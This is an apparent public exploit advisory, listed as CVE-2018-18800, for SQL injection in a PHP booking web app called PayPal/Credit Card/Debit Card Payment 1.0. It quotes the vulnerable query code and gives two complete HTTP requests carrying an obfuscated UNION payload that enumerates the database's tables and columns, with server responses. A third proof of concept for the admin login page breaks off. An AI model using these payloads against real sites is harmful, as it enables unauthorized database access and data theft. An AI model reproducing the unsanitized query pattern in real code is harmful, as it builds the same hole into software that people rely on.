PayPal-Credit Card-Debit Card Payment 1.0 - SQL Injection

# Exploit Title: PayPal/Credit Card/Debit Card Payment 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tubigangarden.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18800

# POC: 
# 1)
# http://localhost/[PATH]/index.php?p=accomodation&q=[SQL]
# 
#[PATH]/accomodation.php
#...
#50  $query = "SELECT * FROM `tblroom` r ,`tblaccomodation` a WHERE r.`ACCOMID`=a.`ACCOMID` AND `ACCOMODATION`='" . $_GET['q'] . "' AND `NUMPERSON` = " . $_POST['person'];
#51     
#52 
#53 }elseif(isset($_GET['q'])){
#54 
#55     $query = "SELECT * FROM `tblroom` r ,`tblaccomodation` a WHERE r.`ACCOMID`=a.`ACCOMID` AND `ACCOMODATION`='" . $_GET['q'] . "'"; 
#56    
#57  
#58   
#59   }
#60 
#61    $accomodation = ' | ' . $_GET['q'];
#62   ?>
#...
GET /[PATH]/index.php?p=accomodation&q=-Standard%20Room%27%20%20UNION(SELECT(1),(2),(3),(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),(5),(6),(7),(8),(9),(10),(11),(12))--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 19:55:17 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/index.php?p=rooms&q=[SQL]
# 
#[PATH]/room_rates.php
#...
#50  $query = "SELECT * FROM `tblroom` r ,`tblaccomodation` a WHERE r.`ACCOMID`=a.`ACCOMID`   AND `NUMPERSON` = " . $_POST['person'];
#51     
#52 
#53 }elseif(isset($_GET['q'])){
#54 
#55     $query = "SELECT * FROM `tblroom` r ,`tblaccomodation` a WHERE r.`ACCOMID`=a.`ACCOMID` AND `ROOM` LIKE '%" . $_GET['q'] . "%'"; 
#56    
#57   
#58   }else{
#59      $query = "SELECT * FROM `tblroom` r ,`tblaccomodation` a WHERE r.`ACCOMID`=a.`ACCOMID`";
#60   }
#61 
#62    $accomodation = ' | ' . @$_GET['q'];
#63   ?>
#...
GET /[PATH]/index.php?p=rooms&q=RM%20223%27%20%20UNION(SELECT(1),(2),(3),(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),(5),(6),(7),(8),(9),(10),(11),(12))--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 19:58:47 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/[PATH]/admin/login.php
# 
#[PATH]/admin/login.php
#...
#58 if (isset($_POST['btnlogin'])) {
#59 //form has been submitted1
#60     
#61 $uname = trim($_POST['email']);
#62 $upass = trim($_POST['pass']);
#...